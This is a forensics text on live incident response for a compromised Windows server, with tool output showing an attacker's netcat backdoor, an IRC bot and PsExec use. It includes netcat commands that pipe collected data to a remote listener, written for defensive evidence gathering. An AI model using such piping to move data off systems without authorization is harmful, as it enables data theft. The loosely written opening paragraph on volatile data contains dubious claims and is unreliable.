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Volatile data is the data that is usually stored in cache memory or RAM. This volatile data is not permanent this is temporary and this data can be lost if the power is lost i.e., when computer looses its connection. During any cyber crime attack, investigation process is held in this process data collection plays an important role but if the data is volatile then such type of data should be collected immediately. Volatile information can be collected remotely or onsite. If there are many number of systems to be collected then remotely is preferred rather than onsite. It is very important for the forensic investigation that immediate state of the computer is recorded so that the data does not lost as the volatile data will be lost quickly. If the volatile data is lost on the suspects computer if the power is shut down, Volatile information is not crucial but it leads to the investigation for the future purpose. To avoid this problem of storing volatile data on a computer we need to charge continuously so that the data isn’t lost. So that computer doesn’t loose data and forensic expert can check this data sometimes cache contains Web mail. This volatile data may contain crucial information.so this data is to be collected as soon as possible. This process is known “Live Forensics”.
Sometimes your victim cannot afford to remove the system or the only evidence of the incident may currently be in memory. Either way, a standard forensic duplication is impossible. This chapter will address a technique for collecting and analyzing forensically sound evidence from what is known as the Live Incident Response Process. This chapter is from the bookWhen a Microsoft Windows machine is involved in an incident, we have several choices of how to proceed in our investigation. The overall scenario usually dictates the next steps an investigator takes. Sometimes your victim cannot afford to remove the system from the network because a proper backup server cannot be swapped in its place. Therefore, a traditional forensic duplication cannot be acquired. Other times, the data currently in memory may be the only evidence of the incident. This chapter will address a technique for collecting and analyzing forensically sound evidence from what is known as the Live Incident Response Process. In short, a live response collects all of the relevant data from the system that will be used to confirm whether an incident occurred. The data collected during a live response consists of two main subsets: volatile and nonvolatile data. The volatile data is information we would lose if we walked up to a machine and yanked out the power cord. This data would not be present if we were to rely on the traditional analysis methods of forensic duplications. A live response process contains information such as the current network connections, running processes, and open files. On the other hand, the nonvolatile data we collect during the live response is information that would be "nice to have." We would collect non-volatile data such as the system event logs in an easily readable format, for instance, instead of the raw binary files in which Microsoft Windows saves them. Of course, this data would exist in a forensic duplication, but it would be more difficult to output it in a nice format after the machine has been powered off. The live response data is collected by running a series of commands. Each command produces data that under normal circumstances would be sent to the console. Because we must save the data for further analysis, we want to transmit the data to our forensic workstation (a machine that the forensic investigator considers trusted) instead of the local victim's hard drive. If we were to save the data locally to the victim's hard drive, there would be a significant chance that we would be overwriting evidence if we chose to acquire a forensic duplication at a later date. Therefore, that effect is undesirable. There are two main ways that we can transmit the data to the forensic workstation. The first way is to use the "swiss army knife" of network administrators called netcat. netcat simply creates TCP channels. netcat can be executed in a listening mode, like a telnet server; or in a connection mode, like the telnet client. We can start a netcat server on our forensic workstation with the following command: nc –v –l –p 2222 > command.txtThe -v switch places netcat in verbose mode. The -l switch places netcat in listening mode (like a telnet server). The -p switch tells netcat on which TCP port to listen for data. By using this command, any data sent to TCP port 2,222 on our forensic workstation will be saved to command.txt. On the victim computer, you will want to run a command to collect live response data. The output of the command is sent over our TCP channel on port 2,222 and saved on the forensic workstation instead of the victim's hard drive. The data can be sent from the victim computer with the following command: command | nc forensic_workstation_ip_address 2222Of course, you will want to rename the italicized keywords such as command with the command you run to collect the live response data. More relevant commands that make up our Live Incident Response Process will be discussed shortly. Moreover, you will want to substitute the IP address of your forensic workstation where it says forensic_workstation_ip_address. After these commands have completed, you will press CTRL-C (^C) to break the netcat session, and the resulting file command.txt will contain all of the data from the command we executed. A simple MD5 checksum of command.txt can be calculated so that you may prove its authenticity at a later date with the following command: md5sum –b command.txt > command.md5The -b option tells md5sum to calculate the MD5 hash of the contents of the command.txt file in binary mode. You will always want to use the -b command-line switch. md5sum is available in the Cygwin utilities from http://www.cygwin.com. You may also use the md5sum from UnxUtils located at unxutils.sourceforge.net. UnxUtils are native Windows binaries, so you will not need additional dynamically linked libraries (DLL) installed on your system like Cygwin requires. This will become important when we create a response toolkit. We will discuss the methods of creating a response toolkit in Chapter 16, "Building the Ultimate Response CD." In most circumstances, you will want to use a variant of netcat, named cryptcat (http://sourceforge.net/projects/cryptcat), because it encrypts all of the data across the TCP channel. cryptcat uses all of the same command-line switches as netcat. cryptcat offers two advantages: secrecy and authentication. Because the data is encrypted, intruders will not be able to see what you are collecting. Due to the encryption, any bit manipulation by an intruder will be detectable because it will be unencrypted on the forensic workstation. If the bits are altered when traversing the network, your output will be garbled. You can choose the password used in the encryption algorithm by issuing the -k command-line flag provided to cryptcat. You must have the same encryption password on both sides of the connection for this process to work. The rest of this chapter will assume you are collecting data through the TCP channel we described earlier. When we discuss a new command, assume it will be transferred to the forensic workstation through this "Poor Man's FTP." We have postponed the discussion of how to create the toolkit that will contain these commands until Chapter 16, when we discuss how the response toolkits are created. For the remainder of this chapter, we will analyze the data acquired during the "JBR Bank's Intrusion" live response scenario that you may reference at the beginning of this book. Analyzing Volatile DataWhen we chose to run a live response on a victim system, the web server named JBRWWW in our current scenario, most of the important data we acquired was in volatile data. The volatile data of a victim computer usually contains significant information that helps us determine the "who," "how," and possibly "why" of the incident. To help answer these questions, we collected data from the following areas on the victim machine:
We will address each of these vital areas in their respective sections and analyze the data we acquired from JBRWWW. The System Date and TimeThis is probably the easiest information to collect and understand, yet it is one of the most important pieces of information to the investigator and is easily missed. Without the current time and date, it would be difficult to correlate the information between victim machines if multiple machines were affected. Although in our scenario we are examining a single system, your intrusions may involve tens or hundreds of systems. Keeping the system time and noting the offset from a trusted source (such as a reliable NTP server) is paramount when examining log files or other time-based evidence from multiple servers. The time and date are simply collected by issuing the time and date commands at the prompt. The time and date for JBRWWW were found to be as follows: The current date is: Wed 10/01/2003 The current time is: 21:58:19.29This is indeed the time we started our live response on JBRWWW. We will also note that this time is in EDT because we are collecting it on the east coast of the United States. Current Network ConnectionsIt is entirely possible that we could be executing our live response process while the attacker is connected to the server. It could also be possible that the attacker is running a brute force mechanism against other machines on the Internet from this server. Scenarios similar to the ones we mentioned earlier would be detected if we examined the current network connections. We view a machine’s network connections by issuing the netstat command. Specifically, we need to specify the -an flags with netstat to retrieve all of the network connections and see the raw IP addresses instead of the Fully Qualified Domain Names (FQDN): netstat –anWhen we executed the netstat command on JBRWWW, we received the following information: Active Connections Proto Local Address Foreign Address State TCP 0.0.0.0:7 0.0.0.0:0 LISTENING TCP 0.0.0.0:9 0.0.0.0:0 LISTENING TCP 0.0.0.0:13 0.0.0.0:0 LISTENING TCP 0.0.0.0:17 0.0.0.0:0 LISTENING TCP 0.0.0.0:19 0.0.0.0:0 LISTENING TCP 0.0.0.0:21 0.0.0.0:0 LISTENING TCP 0.0.0.0:25 0.0.0.0:0 LISTENING TCP 0.0.0.0:80 0.0.0.0:0 LISTENING TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:443 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:515 0.0.0.0:0 LISTENING TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING TCP 0.0.0.0:1027 0.0.0.0:0 LISTENING TCP 0.0.0.0:1030 0.0.0.0:0 LISTENING TCP 0.0.0.0:1031 0.0.0.0:0 LISTENING TCP 0.0.0.0:1033 0.0.0.0:0 LISTENING TCP 0.0.0.0:1174 0.0.0.0:0 LISTENING TCP 0.0.0.0:1465 0.0.0.0:0 LISTENING TCP 0.0.0.0:1801 0.0.0.0:0 LISTENING TCP 0.0.0.0:3372 0.0.0.0:0 LISTENING TCP 0.0.0.0:4151 0.0.0.0:0 LISTENING TCP 0.0.0.0:60906 0.0.0.0:0 LISTENING TCP 103.98.91.41:139 0.0.0.0:0 LISTENING TCP 103.98.91.41:445 95.208.123.64:3762 ESTABLISHED TCP 103.98.91.41:1033 95.208.123.64:21 CLOSE_WAIT TCP 103.98.91.41:1174 95.145.128.17:6667 ESTABLISHED TCP 103.98.91.41:1465 95.208.123.64:3753 ESTABLISHED TCP 103.98.91.41:3992 95.208.123.64:445 TIME_WAIT TCP 103.98.91.41:4151 103.98.91.200:2222 ESTABLISHED TCP 103.98.91.41:60906 95.16.3.23:1048 ESTABLISHED TCP 127.0.0.1:1029 0.0.0.0:0 LISTENING TCP 127.0.0.1:2103 0.0.0.0:0 LISTENING TCP 127.0.0.1:2105 0.0.0.0:0 LISTENING TCP 127.0.0.1:2107 0.0.0.0:0 LISTENING TCP 127.0.0.1:4150 0.0.0.0:0 LISTENING UDP 0.0.0.0:7 *:* UDP 0.0.0.0:9 *:* UDP 0.0.0.0:13 *:* UDP 0.0.0.0:17 *:* UDP 0.0.0.0:19 *:* UDP 0.0.0.0:135 *:* UDP 0.0.0.0:161 *:* UDP 0.0.0.0:162 *:* UDP 0.0.0.0:445 *:* UDP 0.0.0.0:1026 *:* UDP 0.0.0.0:1028 *:* UDP 0.0.0.0:1032 *:* UDP 0.0.0.0:3456 *:* UDP 0.0.0.0:3527 *:* UDP 103.98.91.41:137 *:* UDP 103.98.91.41:138 *:* UDP 103.98.91.41:500 *:* UDP 103.98.91.41:520 *:*The bolded lines represent the active network connections. The additional lines (that are not bolded) are open ports, which we will address in the next section. Because we know that our forensic workstation is at the IP address 103.98.91.200, we can ignore corresponding connections. A TCP connection over port 2,222 was expected due to the data transferal process we discussed earlier in this chapter with netcat. After removing all of the other extraneous data, we are left with six interesting lines: The first line is a connection to JBRWWW's Windows 2000 NetBIOS port. Therefore, the IP address 95.208.123.64 could be issuing commands with a tool like psexec, connecting to a file share with the net use command, or exploiting some other Microsoft Windows functionality. The second line is very interesting. JBRWWW is connecting to port 21, the FTP port, on system 95.208.123.64. Because the administrator swears he was not involved in this connection, we flag this line as suspicious activity. The third line is a connection to an IRC server (TCP port 6,667) at 95.145.128.17. This is another connection the administrator did not participate in, and we note it as such. The fourth line does not look familiar to us. A quick search on http://www.portsdb.org shows this could be the "nattyserver" or "ChilliASP" service. Because this information does not ring a bell, we flag this connection as "possibly suspicious" and move on. The fifth line details a NetBIOS connection from our victim machine back to 95.208.123.64. This could indicate that the attacker has issued a net use command on JBRWWW to map a share on his attacking machine to the victim machine. Because this IP address showed up more than once in the suspicious activity category, we also flag this connection as suspicious. The last line shows a connection involving JBRWWW’s TCP port 60,906. Ports above 1,024 typically are ephemeral ports. Notice that it is also connecting to an ephemeral port on a different destination IP address at 95.16.3.23. An untrained eye may have passed this line over by now, but we add it to our possible suspicious activity category. Open TCP or UDP PortsIf we return to the lengthy netcat listing shown earlier, all of the lines that are not bolded are open ports. We are interested in these lines for one reason: an open rogue port usually denotes a backdoor running on the victim machine. Now, we realize that Windows opens a lot of legitimate ports during the course of doing its business, but we can weed many of them out quickly. The first lines up through TCP port 515 are normal Windows ports, typically started when IIS and simple TCP/IP services are installed on the machine. The next TCP ports, up to the established connections portion of the output, are the ephemeral ports: Proto Local Address Foreign Address State TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING TCP 0.0.0.0:1027 0.0.0.0:0 LISTENING TCP 0.0.0.0:1030 0.0.0.0:0 LISTENING TCP 0.0.0.0:1031 0.0.0.0:0 LISTENING TCP 0.0.0.0:1033 0.0.0.0:0 LISTENING TCP 0.0.0.0:1174 0.0.0.0:0 LISTENING TCP 0.0.0.0:1465 0.0.0.0:0 LISTENING TCP 0.0.0.0:1801 0.0.0.0:0 LISTENING TCP 0.0.0.0:3372 0.0.0.0:0 LISTENING TCP 0.0.0.0:4151 0.0.0.0:0 LISTENING TCP 0.0.0.0:60906 0.0.0.0:0 LISTENINGWe see that there are a lot of ports open that we cannot identify. They could be legitimately open ports or ports onto which the attacker has attached a backdoor. With netstat alone, we cannot identify the purpose of the open ports, so we have to see which executables opened the ports to get a better idea of their purposes. Executables Opening TCP or UDP PortsTo examine the strange ports that are open on this machine, we must link the open ports to the executables that opened them. There is a tool that does this called FPort, freely distributed at http://www.foundstone.com. FPort does not need additional command-line arguments to execute it during our live response. After we executed FPort, we received the following results: FPort v1.31 - TCP/IP Process to Port Mapper Copyright 2000 by Foundstone, Inc. http://www.foundstone.com Securing the dot com world Pid Process Port Proto Path 1292 tcpsvcs -> 7 TCP C:\WINNT\System32\tcpsvcs.exe 1292 tcpsvcs -> 9 TCP C:\WINNT\System32\tcpsvcs.exe 1292 tcpsvcs -> 13 TCP C:\WINNT\System32\tcpsvcs.exe 1292 tcpsvcs -> 17 TCP C:\WINNT\System32\tcpsvcs.exe 1292 tcpsvcs -> 19 TCP C:\WINNT\System32\tcpsvcs.exe 1044 inetinfo -> 21 TCP C:\WINNT\System32\inetsrv\inetinfo.exe 1044 inetinfo -> 25 TCP C:\WINNT\System32\inetsrv\inetinfo.exe 1044 inetinfo -> 80 TCP C:\WINNT\System32\inetsrv\inetinfo.exe 380 svchost -> 135 TCP C:\WINNT\system32\svchost.exe 8 System -> 139 TCP 1044 inetinfo -> 443 TCP C:\WINNT\System32\inetsrv\inetinfo.exe 8 System -> 445 TCP 1292 tcpsvcs -> 515 TCP C:\WINNT\System32\tcpsvcs.exe 492 MSTask -> 1025 TCP C:\WINNT\system32\MSTask.exe 784 msdtc -> 1027 TCP C:\WINNT\System32\msdtc.exe 860 mqsvc -> 1029 TCP C:\WINNT\System32\mqsvc.exe 8 System -> 1030 TCP 1044 inetinfo -> 1031 TCP C:\WINNT\System32\inetsrv\inetinfo.exe 1372 ftp -> 1033 TCP C:\WINNT\system32\ftp.exe 1224 iroffer -> 1174 TCP C:\WINNT\system32\os2\dll\iroffer.exe 1224 iroffer -> 1465 TCP C:\WINNT\system32\os2\dll\iroffer.exe 860 mqsvc -> 1801 TCP C:\WINNT\System32\mqsvc.exe 860 mqsvc -> 2103 TCP C:\WINNT\System32\mqsvc.exe 860 mqsvc -> 2105 TCP C:\WINNT\System32\mqsvc.exe 860 mqsvc -> 2107 TCP C:\WINNT\System32\mqsvc.exe 784 msdtc -> 3372 TCP C:\WINNT\System32\msdtc.exe 1348 t_NC -> 4151 TCP D:\win_2k\intel\bin\t_NC.EXE 1224 iroffer -> 4153 TCP C:\WINNT\system32\os2\dll\iroffer.exe 1424 nc -> 60906 TCP C:\WINNT\system32\os2\dll\nc.exe 1292 tcpsvcs -> 7 UDP C:\WINNT\System32\tcpsvcs.exe 1292 tcpsvcs -> 9 UDP C:\WINNT\System32\tcpsvcs.exe 1292 tcpsvcs -> 13 UDP C:\WINNT\System32\tcpsvcs.exe 1292 tcpsvcs -> 17 UDP C:\WINNT\System32\tcpsvcs.exe 1292 tcpsvcs -> 19 UDP C:\WINNT\System32\tcpsvcs.exe 380 svchost -> 135 UDP C:\WINNT\system32\svchost.exe 8 System -> 137 UDP 8 System -> 138 UDP 1244 snmp -> 161 UDP C:\WINNT\System32\snmp.exe 1256 snmptrap -> 162 UDP C:\WINNT\System32\snmptrap.exe 8 System -> 445 UDP 224 lsass -> 500 UDP C:\WINNT\system32\lsass.exe 440 svchost -> 520 UDP C:\WINNT\System32\svchost.exe 212 services -> 1026 UDP C:\WINNT\system32\services.exe 860 mqsvc -> 1028 UDP C:\WINNT\System32\mqsvc.exe 1044 inetinfo -> 1032 UDP C:\WINNT\System32\inetsrv\inetinfo.exe 1044 inetinfo -> 3456 UDP C:\WINNT\System32\inetsrv\inetinfo.exe 860 mqsvc -> 3527 UDP C:\WINNT\System32\mqsvc.exeThe unidentified ports from the last section are bolded in this text. The first five lines can most likely be attributed to system binaries opening TCP ports 1,025, 1,027, 1,029, 1,030, and 1,031. The next line shows that someone was running the native FTP client on JBRWWW. Because the administrator states that he was not running the FTP client, we flag this behavior as suspicious activity. The next two lines detail an executable running in C:\winnt\system32\os2\dll that is named iroffer.exe: Pid Process Port Proto Path 1224 iroffer -> 1174 TCP C:\WINNT\system32\os2\dll\iroffer.exe 1224 iroffer -> 1465 TCP C:\WINNT\system32\os2\dll\iroffer.exeImmediately this information seems suspicious because we are not aware of any OS/2-related DLLs that open network ports. A quick search at http://www.google.com for "iroffer" turns up a Web site at http://www.iroffer.org. It is a real Web site, and the tool has legitimate purposes. Apparently, this tool is a bot that connects to IRC channels and offers remote control of JBRWWW! Thus, these two lines provide confirmation that there was an incident involving JBRWWW. The next five lines in the FPort output show ports opened by mqsvc.exe, a binary affiliated with the message queue in Windows. The next line detects our live response netcat session: Pid Process Port Proto Path 1348 t_NC -> 4151 TCP D:\win_2k\intel\bin\t_NC.EXEWe renamed our netcat binary on the CD-ROM to t_NC.EXE to symbolize that it was "trusted." It was also renamed so that we would not accidentally run a copy of nc.exe from the victim machine. More information will be presented about live response toolkits in Chapter 16. If we move to the next two lines, we realize that they provide us with most of the information regarding the attacker's backdoors: Pid Process Port Proto Path 1224 iroffer -> 4153 TCP C:\WINNT\system32\os2\dll\iroffer.exe 1424 nc -> 60906 TCP C:\WINNT\system32\os2\dll\nc.exeIt seems as if the attacker has not only iroffer on the system but a netcat session as well. We cannot tell what the attacker is doing with the netcat session with only these two lines. It could be an outbound connection, or it could be in listening mode, allowing inbound connections free access to a command shell. When we reexamine the netstat output shown earlier, we see that port 60,906 is actively listening. Therefore, we could conclude through netcat and FPort that the attacker's backdoor on 60,906 is currently listening for connections and is actively connected to a rogue IP address. We neglected to mention the UDP ports in the previous section, for good reason. UDP is typically used less than TCP because it is a stateless protocol, so UDP ports may be un-familiar to you. One way of determining open UDP ports is to check http://www.portsdb.org along with the analysis of a similarly configured Windows 2000 server with IIS and basic Unix services installed. Of course, that is the hard way of doing it. If you compare the executable files that open UDP ports with the legitimately opened TCP ports on JBRWWW, you will see that they are opened by similar system binaries. Of course, to truly make sure they are system binaries, we must compare the MD5 checksum of these files with a known, trusted source such as Microsoft or by comparing them to copies found on an uncompromised server. Cached NetBIOS Name TablesWhen we examine the system event logs later in this chapter, we will see that Windows (up until version 2003) stored connection specifics by NetBIOS name rather than IP address. As an investigator, this does us no good. An attacker can easily change his NetBIOS name to "HACKER," do damage to your system, and then change it back to the original value. Your logs would have the word "HACKER" as the connecting machine. Because we want to map a NetBIOS name to an IP address to throttle the nefarious individual, we can issue the nbtstat command during our live response to dump the victim system’s NetBIOS name cache. Please take note that this command will only show us the NetBIOS name table cache, not a complete history of connections. Therefore, values in this table represent connections to and from machines a relatively short time ago. When we run the following command (the -c switch instructs nbtstat to dump the cache): nbtstat –cwe receive the following results: Local Area Connection: Node IpAddress: [103.98.91.41] Scope Id: [] NetBIOS Remote Cache Name Table Name Type Host Address Life [sec] —————————————————————————————— 95.208.123.64 <20> UNIQUE 95.208.123.64 562This is a unique response! The "name" of this server is actually the same as the IP address for this computer located at 95.208.123.64. Usually the NetBIOS name would appear in the "Name" column. When we examine additional evidence later in this chapter, the actual IP address will show up for this computer, which will make our life a lot simpler than having to count on NetBIOS names. Users Currently Logged OnIf you want to be stealthy during your live response, you could run PsLoggedOn, which is a tool distributed within the PsTools suite from http://www.sysinternals.com. This tool will return the users that are currently logged onto the system or accessing the resource shares. When we execute this tool on JBRWWW without command-line parameters, we receive the following information: PsLoggedOn v1.21 - Logon Session Displayer Copyright (C) 1999-2000 Mark Russinovich SysInternals - http://www.sysinternals.com Users logged on locally: 8/23/2003 3:32:53 PM JBRWWW\Administrator Users logged on via resource shares: 10/1/2003 9:52:26 PM (null)\ADMINISTRATORThere is one user logged in locally. The local Administrator login is attributed to our live response because we must be logged in with Administrator access to run our tools. The second login is also Administrator, but it is a remote login. Therefore, someone is currently accessing JBRWWW as we are investigating the system. Notice that this connection has administrator privileges, which is a prerequisite for PsExec, another tool within the PsTool suite that we will discuss a little later on. Let us return to our current network connections: Proto Local Address Foreign Address State TCP 103.98.91.41:445 95.208.123.64:3762 ESTABLISHEDFor a user to be connected remotely, he or she must be connected to a NetBIOS port. For Windows 2000, it is TCP port 445 or 139. For prior versions of Windows, it was only TCP port 139. Therefore, we now know the attacker’s IP address is 95.208.123.64. The Internal Routing TableOne of the nefarious uses of a compromised server involves the attacker altering the route tables to redirect traffic in some manner. A benefit for the attacker of rerouting traffic is avoiding a security device, such as a firewall. If there is a firewall in the way of the attacker’s next victim, he may be able to enter the network through a different router that has more permissive access control lists. It is possible that your compromised server may enable him to do this. Another reason an attacker may alter the route table is to redirect the flow of traffic to sniff (capture) the data flying by on the network connection. We can examine the routing table by issuing the netstat command with the -rn command-line switch. The following data comes from the netstat command when executed on JBRWWW: The routing table looks like a normal routing table for this server. Notice that this command also lists open network connections. The list of open network connections matches exactly the version we saw previously when we issued the netstat -an command. Running ProcessesUltimately, we would like to know what processes the attacker executed on JBRWWW because they could contain backdoors or further the attacker's efforts into the victim's network. We can list the process table with the pslist tool from the PsTools suite distributed from http://www.sysinternals.com. Executing pslist without flags gives us the following information: PsList v1.2 - Process Information Lister Copyright (C) 1999-2002 Mark Russinovich Sysinternals - http://www.sysinternals.com Process information for JBRWWW: Name Pid Pri Thd Hnd Mem User Time Kernel Time Elapsed Time Idle 0 0 1 0 16 0:00:00.000 4:32:11.623 942:27:36.131 System 8 8 32 183 212 0:00:00.000 0:00:16.073 942:27:36.131 smss 140 11 6 33 344 0:00:00.010 0:00:00.470 942:27:36.131 csrss 164 13 14 449 1804 0:00:00.460 0:00:06.339 942:27:27.649 winlogon 184 13 14 336 2920 0:00:00.721 0:00:02.513 942:27:26.067 services 212 9 32 532 5432 0:00:02.643 0:00:05.087 942:27:24.084 lsass 224 9 14 276 1208 0:00:01.271 0:00:01.642 942:27:24.044 svchost 380 8 6 222 2464 0:00:02.994 0:00:04.135 942:27:20.108 SPOOLSV 408 8 10 98 2460 0:00:00.050 0:00:00.160 942:27:19.467 svchost 440 8 27 549 5784 0:00:00.510 0:00:00.771 942:27:19.347 regsvc 476 8 2 30 812 0:00:00.020 0:00:00.020 942:27:19.087 mstask 492 8 6 89 1772 0:00:00.040 0:00:00.040 942:27:18.786 explorer 636 8 10 225 1180 0:00:01.972 0:00:05.417 942:25:26.054 msdtc 784 8 22 166 3312 0:00:00.440 0:00:00.180 942:20:24.901 mqsvc 860 8 22 180 3628 0:00:00.160 0:00:00.370 942:20:21.697 inetinfo 1044 8 36 655 10712 0:00:08.352 0:00:05.327 942:17:39.914 snmptrap 1256 8 4 47 1148 0:00:00.010 0:00:00.020 942:16:44.374 tcpsvcs 1292 8 4 77 1444 0:00:00.010 0:00:00.100 942:16:39.958 snmp 1244 8 6 222 3132 0:00:00.050 0:00:00.160 942:13:39.358 cmd 556 8 1 24 1020 0:00:00.110 0:00:00.230 942:08:37.614 dllhost 888 8 11 135 3416 0:00:00.280 0:00:00.160 195:07:22.229 mdm 580 8 3 75 1928 0:00:00.030 0:00:00.030 195:07:21.047 dllhost 1376 8 23 229 4684 0:00:00.130 0:00:00.160 195:06:26.479 PSEXESVC 892 8 6 63 1008 0:00:00.010 0:00:00.030 2:41:47.564 cmd 1272 8 1 25 984 0:00:00.020 0:00:00.030 2:41:15.969 ftp 1372 8 1 39 1176 0:00:00.020 0:00:00.020 2:39:05.861 cmd 1160 8 1 28 976 0:00:00.020 0:00:00.010 2:24:25.536 nc 1424 8 3 40 1012 0:00:00.010 0:00:00.040 2:23:39.800 cmd 1092 8 1 34 968 0:00:00.010 0:00:00.020 2:22:03.992 iroffer 1224 8 5 95 2564 0:00:00.090 0:00:00.200 2:21:30.544 cmd 1468 8 1 30 984 0:00:00.030 0:00:00.030 2:00:02.272 cmd 496 8 1 24 964 0:00:00.020 0:00:00.090 0:00:00.841 T_NC 1348 8 1 28 1004 0:00:00.020 0:00:00.030 0:00:00.821 T_PSLIST 1484 8 2 87 1216 0:00:00.040 0:00:00.030 0:00:00.050Upon the examination of this data, we see that the first several lines up to the bolded section are system processes by the lengthy elapsed running time. This is indicative of processes running since startup, which are typical system processes. The attacker could have run something on startup, and we would have missed it by skimming the elapsed time, so we would re-verify this process list against an uncompromised server to confirm our theory. Next, the bolded section shows the processes executed by the attacker. The processes were executed approximately 2 hours and 40 minutes before we ran our live response. This information gives us a time frame of when the attacker was on JBRWWW. Because the machine was booted long ago, his initial attack may have been nearly three hours before our response. If we calculate 2 hours and 40 minutes before our response started (remember the date and time commands?), it was 19:18 on October 1, 2003. It seems that the attacker ran PSEXECSVC, which is the result of a PsExec command channel initiated to JBRWWW. PsExec is a tool distributed from http://www.sysinternals.com that enables a valid user to connect from one Microsoft Windows machine to another and execute a command over a NetBIOS connection. (That could explain the connections to port 445 that we discovered in an earlier section.) Attackers use this tool to typically run cmd.exe. Knowing that the attacker is running PsExec tells us a lot about this intrusion. First, PsExec will only open a channel if you supply proper administrator-level credentials. Therefore, the attacker has an administrator-level password. Second, the attacker knows one of JBR’s passwords, and that password may work on other machines throughout JBR’s enterprise. Third, the attacker must be running a Microsoft Windows system on his attacking machine to execute PsExec. We also see that the attacker is running the ftp command. One of the first things attackers usually do when they gain access to a system is to transfer their tools to the victim machine. Perhaps this process is part of the standard hacker methodology. We also see nc, which we will find out is netcat, and iroffer, a program we discussed previously. The last three lines were part of our live response process, and we expected to see them. This process list will be used again when we acquire memory dumps of the rogue processes we discovered in this section. Running ServicesWe saw in the last section that there was a process running with the name PSEXECSVC. "SVC" probably stands for service. We can easily obtain a list of services with the PsService executable distributed in the PsTools suite. The tool is run without command-line arguments to obtain the data we need. The full results of this command are not listed here because they are lengthy, but the full output can be found on your DVD. The only service that catches our attention is the following: PsService v1.01 - local and remote services viewer/controller Copyright (C) 2001 Mark Russinovich Sysinternals - http://www.sysinternals.com SERVICE_NAME: PSEXESVC DISPLAY_NAME: PSEXESVC (null) TYPE : 10 WIN32_OWN_PROCESS STATE : 4 RUNNING (STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0The other services are plainly Microsoft Windows services, and they contain valid descriptions about their purposes. This service does not have a description. The (null) line is where a description would typically be placed. We can see that this service is running, and with a little research on the Internet, we find information linking PSEXECSVC to the PsExec tool. It is important to note that even if the PsExec tool were renamed, we would still see this service in the service listing. Services are important to us because an attacker can hide programs in them. If you examine Psservice’s output, you will see that it is lengthy. An extra service in the list is easy for an investigator to miss. In addition, unlike general processes, services can be forced to start up at reboot. We have examined many intrusions in real life that use the technique of starting backdoors, FTP servers, and more using Firedaemon. Firedaemon makes any process a service and enables you to force its startup on reboots. Scheduled JobsAttackers with administrative access can schedule jobs. This will enable an attacker to run commands when he is not even on the box. For an example, an attacker may want to schedule a job that will open a backdoor every night at 2AM. That way, your usual security port scans will not pick up the backdoor during work hours. By typing at, we see the following jobs scheduled on JBRWWW: There are no entries in the list.Therefore, we do not have to worry about that type of activity during this investigation. Open FilesBy examining the list of open files, we are able to determine more information pertinent to our investigation. The PsTools suite contains another tool we can use to retrieve this information. The program's name is Psfile. When we run Psfile on JBRWWW, we receive the following results: PsFile v1.01 - local and remote network file lister Copyright (C) 2001 Mark Russinovich Sysinternals - http://www.sysinternals.com Files opened remotely on JBRWWW: [100] \PIPE\psexecsvc User: ADMINISTRATOR Locks: 0 Access: Read Write [101] \PIPE\psexecsvc-CAINE-2936-stdin User: ADMINISTRATOR Locks: 0 Access: Write [102] \PIPE\psexecsvc-CAINE-2936-stdout User: ADMINISTRATOR Locks: 0 Access: Read [103] \PIPE\psexecsvc-CAINE-2936-stderr User: ADMINISTRATOR Locks: 0 Access: ReadWe see that Psfile reports a system pipe opened by PSEXECSVC. We now see the word CAINE. If you have become familiar with PsExec and Psfile, you would know that CAINE is the NetBIOS name of the computer that connected to JBRWWW using PsExec. If we were able to seize a potential attacker's computer, we might want to search for this keyword. We will talk about keyword searching later in this book when we discuss analyzing forensic duplications. Process Memory DumpsWe have seen that the attacker started rogue processes on JBRWWW, yet we do not really know what exactly the attacker ran. Through previous forensic experience, we can make educated guesses, as we did in the case of the netcat session being bound to a command prompt, but we need a good way to find out for sure. To help us accomplish this, we will capture the memory space of the suspect processes. Traditionally, incident response and forensic investigators rarely collect the memory space utilized by suspect processes from Windows systems. This is primarily due to the lack of documented methods, techniques, and tools for this process. The nature of the operating system, combined with associated imposed restrictions on protected memory areas, makes memory acquisition and analysis complex and problematic. However, for several reasons, not the least of which is the increasing sophistication of intrusion tools and techniques, the acquisition and processing of application and system memory may be of paramount importance. Such memory structures may provide critical investigative and evidentiary material of a volatile nature—data that may be lost when the system is powered down to perform a traditional forensic duplication. Examples of the types of data that may be lost include the command line utilized by the intruder to execute a rogue process, remotely executed console commands and their resultant output, clear-text passwords, and unencrypted data. Although we won’t go into detail on the structure, organization, and management of memory on these operating systems, we recommend having a working knowledge of them to facilitate examination of captured memory. An excellent reference is Inside Windows 2000, Third Edition, by David Solomon and Mark Russinovich. Microsoft provides a utility called userdump.exe for the Windows NT family of operating systems that enables us to capture the memory space utilized by any executing process. This tool is a component of the Microsoft OEM Support tools package available at http://download.microsoft.com/download/win2000srv/Utility/3.0/NT45/EN-US/Oem3sr2.zipBecause userdump writes the process’s extracted memory to disk, we can’t use our netcat sessions to transfer the data directly. We want to have as small an impact as possible on the suspect system, so before we execute userdump commands, which would write large files to the suspect system’s hard drive (possibly deleting material of evidentiary value in unallocated space), we will map a network share directly to our forensic system. In this case, we mapped a share from our forensic system as drive Z: by using the following command: C:\> net use Z: \\103.98.91.200\data The command completed successfully.Now that we have a network-accessible storage area established on our forensic workstation, we can familiarize ourselves with userdump. When we execute userdump.exe without command-line options, user help is displayed: User Mode Process Dumper (Version 3.0) Copyright (c) 1999 Microsoft Corp. All rights reserved. userdump -p Displays a list of running processes and process IDs.userdump [-k] <ProcessSpec> [<TargetDumpFile>] Dumps one process or processes that share an image binary file name. -k optionally causes processes to be killed after being dumped. <ProcessSpec> is a decimal or 0x-prefixed hex process ID, or the base name and extension (no path) of the image file used to create a process. <TargetDumpFile> is a legal Win32 file specification. If not specified, dump files are generated in the current directory using a name based on the image file name. userdump -m [-k] <ProcessSpec> [<ProcessSpec>...] [-d <TargetDumpPath>] Same as above, except dumps multiple processes. -d <TargetDumpPath> supplies the directory where the dumps will go. The default is the current directory. userdump -g [-k] [-d <TargetDumpPath>] Similar to above, except dumps Win32 GUI apps that appear hang.Note that userdump has several useful options, including capturing multiple processes on a single command line and displaying running processes. To execute 